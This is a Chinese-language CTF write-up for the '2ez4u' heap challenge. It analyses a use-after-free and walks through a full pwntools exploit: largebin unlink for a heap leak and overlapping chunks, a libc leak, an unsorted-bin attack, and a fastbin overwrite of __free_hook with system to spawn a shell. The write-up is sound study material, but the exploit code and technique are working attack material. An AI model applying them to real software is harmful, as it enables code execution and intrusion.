保护
分析
典型的菜单型程序,可用的操作用增删改查。添加操作的伪代码:
- 可以得到一个大概的结构体
struct Apple{
size_t Color;
size_t Value;
size_t Id;
char Description[size]
};
- 这里需要注意一点,Color,Value,Id 占去了一个chunk 结构的 fd,bk,fd_size。输入也存在0截断:
删除操作伪代码:
- 释放的指针没有置空
编辑操作的伪代码:
- 结合删除操作的伪代码,可以发现存在UAF漏洞,输出操作中同样也存在:
大体利用思路
- 根据前面的分析,常规方法就不能泄露堆地址。这里需要涉及到largebin 的利用,一个chunk的fd_size和bk_size就是largebin专属的。当一个chunk 位于largebin且空闲的时候,这两个专属成员将会被赋值,我们就可以泄露这个值得到堆地址。
- 最麻烦的地方就是泄露libc内存了,只有得到overlaping chunk 才有可能泄露出来。想法是假如有若干个chunk,其中有
...chunk_0 chunk_1 chunk_2 chunk_3 chunk_4 chunk_5 chunk_6...
- chunk_3,chunk_4 和 chunk_5 是属于largebin 大小的(0x400 及其以上,上限不记得了)。chunk_0,chunk_1,chunk_2属于smallbin 大小的(0x80 到 0x3ff)。
- 释放掉 chunk_4,chunk5,使其全部进入largebin 中。
- 在chunk_0~chunk2 中找到合适的位置,伪造两个chunk,一个是我们想要得到的overlaping chunk,记作target chunk,另一个是为了绕过 largebin unlink 检查而伪造的记作 fchunk_1
- 利用 largebin chunk 的unlink 得到target chunk。
- 在这个target chunk中就包含有chunk_0~chunk_2中的某一个,然后利用smallbin空闲chunk的fd会被赋值为libc中的内存,从而泄露libc内存。
- 此时,largebin 已经被破坏,如果再想利用largebin进行攻击得修复,这对我来说很困难。于是我采用fastbin attack的方式去攻击 free_hook。(攻击malloc_hook 也许也可行,但我第一次尝试失败后就不想再往这里搞下去了。。。)
- 但是,我们还不能直接这么做,因为 free_hook 上边全都是空的,不能错出一个size位。所以还得先利用unsortbin attack攻击free_hook上边某个位置。
先贴上完整的EXP,后面分部解释。
EXP
#!/usr/bin/env python
# coding=utf-8
from pwn import*
#context.log_level='debug'
def Add(l,d):
p.sendlineafter('choice: ','1')
p.sendlineafter('):','0')
p.sendlineafter('):','0')
p.sendlineafter('):','0')
p.sendlineafter('):',str(l))
p.sendlineafter('apple:',d)
def Edit(idx,d):
p.sendlineafter('choice: ','3')
p.sendlineafter('):',str(idx))
p.sendlineafter('):','0')
p.sendlineafter('):','0')
p.sendlineafter('):','0')
p.sendlineafter('apple:',d)
def Show(idx):
p.sendlineafter('choice: ','4')
p.sendlineafter('):',str(idx))
def Del(idx):
p.sendlineafter('choice: ','2')
p.sendlineafter('):',str(idx))
p=process('./2ez4u',aslr=False)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
Add(0x60,'0'*0x60)#0
Add(0x60,'1'*0x60)#1
Add(0x60,'2'*0x60)#2
Add(0x60,'3'*0x60)#3
Add(0x60,'4'*0x60)#4
Add(0x60,'5'*0x60)#5
Add(0x3f0,'7'*0x3f0)#6
Add(0x60, '8'*0x60 )#7
Add(0x3e0, '9'*0x3e0)#8
Add(0x60, '9'*0x80 )#9
Add(0x3f0, 'a'*0x3d0)#a
Add(0x60-0x18, 'b'*0x30 )#b
Add(0x60-0x18, 'c'*0x30 )#c
Add(0x60-0x18, 'd'*0x30 )#d
Del(8)
Del(0xa)
Del(0)
Add(0x400,'')#1
Show(0xa)
p.recvuntil('description:')
heap_addr=u64(p.recvuntil('\n',drop=True).ljust(8,'\0'))-0x790
success('heap_addr:'+hex(heap_addr))
target_addr=heap_addr+0x130 #2
fchunk1_addr=heap_addr+0xb0 #1
fchunk2_addr=heap_addr+0x1b0 #3
fchunk3_addr=heap_addr+0xc10 #10
success('target_addr:'+hex(target_addr))
success('fchunk1_addr:'+hex(fchunk1_addr))
success('fchunk2_addr:'+hex(fchunk2_addr))
success('fchunk3_addr:'+hex(fchunk3_addr))
Edit(0xa,p64(target_addr))
ftarget=p64(0)*2+p64(0x411)+p64(fchunk1_addr-0x18)+p64(fchunk1_addr-0x10)
ftarget+=p64(fchunk3_addr)+p64(fchunk2_addr)
Edit(2,ftarget)
fake=p64(0)+p64(target_addr)
Edit(1,fake)
fake=p64(0)*2+p64(0x421)+p64(0)*2+p64(target_addr)
Edit(3,fake)
Edit(6,'6'*0x218+p64(0x410)+p64(0x411))
Del(5)
Del(3)
Add(0x3f0,'3'*56)#3
Add(0x60,'')#5
Show(3)
p.recvuntil('3'*56)
libc_base=u64(p.recv(6).ljust(8,'\0'))-0x3c4be8
success('libc_base:'+hex(libc_base))
free_hook=libc.sym['__free_hook']+libc_base
success('free_hook:'+hex(free_hook))
system=libc_base+libc.sym['system']
#unsortbin attack
Del(6)
Del(3)
pay=p64(0)*2+p64(0x411)+p64(heap_addr+0x280)+p64(free_hook-0x48)
Edit(2,pay)
Add(0x3f0,'')
#fastbin attack
pay=p64(0)*2+p64(0x71)
Edit(2,pay)
pay=p64(0)*6+p64(0x31)+p64(0)*3+p64(0x431)
Edit(3,pay)
Del(0xc)
Del(0x3)
pay=p64(0)*2+p64(0x71)+p64(free_hook-0x3b)
Edit(2,pay)
Add(0x60-0x18,'/bin/sh')
pay='a'*0x13+p64(system)
Add(0x60-0x18,pay)
pay=p64(0)*2+p64(0x71)+'/bin/sh'
Edit(2,pay)
Del(3)
p.interactive()
EXP分部解释
泄露堆地址
...
Del(8)
Del(0xa)
Del(0)#防止别的chunk位置被覆盖,也为后面泄露libc内存做铺垫
Add(0x400,'')#1 目的是使得chunk_8和chunk_a进入largebin
Show(0xa)
p.recvuntil('description:')
heap_addr=u64(p.recvuntil('\n',drop=True).ljust(8,'\0'))-0x790
success('heap_addr:'+hex(heap_addr))
...
- 之所以要添加这么多个0x60的apple,是为了后面的伪造。此时可以看到chunk_a的bk_size出现了堆地址
- 低位没有0,故而这6个字节完全可以泄露
泄露libc
构造chunk实现unlink
...
target_addr=heap_addr+0x130 #在chunk_2中构造
fchunk1_addr=heap_addr+0xb0 #在chunk_1中构造
fchunk2_addr=heap_addr+0x1b0 #在chunk_3中构造
fchunk3_addr=heap_addr+0xc10 #实际就是释放后的chunk_a的首地址
Edit(0xa,p64(target_addr))
ftarget=p64(0)*2+p64(0x411)+p64(fchunk1_addr-0x18)+p64(fchunk1_addr-0x10)
ftarget+=p64(fchunk3_addr)+p64(fchunk2_addr)
Edit(2,ftarget)
fake=p64(0)+p64(target_addr)
Edit(1,fake)
fake=p64(0)*2+p64(0x421)+p64(0)*2+p64(target_addr)
Edit(3,fake)
Edit(6,'6'*0x218+p64(0x410)+p64(0x411))# 补充与target相邻的chunk->prev_size和chunk->size
Del(5)
Del(3)
Add(0x3f0,'3'*56)#3 使chunk_5和chunk_3进入smallbin
Add(0x60,'')#5
Show(3)
p.recvuntil('3'*56)
libc_base=u64(p.recv(6).ljust(8,'\0'))-0x3c4be8
success('libc_base:'+hex(libc_base))
...
- fchunk_1的结构:
- target_chunk的结构:
- 即,target_chunk->fd=fchunk_1-0x18,target_chunk->bk=fchunk_1-0x10
是为了绕过unlink的检测:
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
- target_chunk->fd_size=fchunk_3,target_chunk->bk_size=fchunk_2
- fchunk_2的结构:
- fchunk_2->fd_size=target_addr,为了绕过:
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV);
- 所有需要构造的chunk 构造完毕会形成如下连接图:
- EXP进行完
Add(0x3f0,'3'*56)#3 使chunk_5和chunk_3进入smallbin
时,chunk_3:
- 与chunk_4还存在0 截断,并且内容也不是我们所期待的,接着执行完
Add(0x60,'')#5
* 下次申请0x80的chunk时,这块chunk_0就被拿走,然后0x190这块chunk的fd就被写入libc 内存。
- 出现了libc内存并且0截断消失,通过打印chunk3 就能得到libc 内存。
Get Shell
unsortbin attack
#unsortbin attack
Del(6)
Del(3)
# 此时unsortbin中的情况:chunk_3->chunk_6
pay=p64(0)*2+p64(0x411)+p64(heap_addr+0x280)+p64(free_hook-0x48)#修改chunk_3->bk=free_hook-0x48
Edit(2,pay)
Add(0x3f0,'')
- 执行完毕上面代码后,free_hook上方就会写入libc内存,然后就可以利用fastbin attack 了
总结
这道题的质量非常高,将三种类型的chunk利用都综合了起来,并且可以锻炼堆布局的前瞻性,借此学习了largebin 的其中一种利用。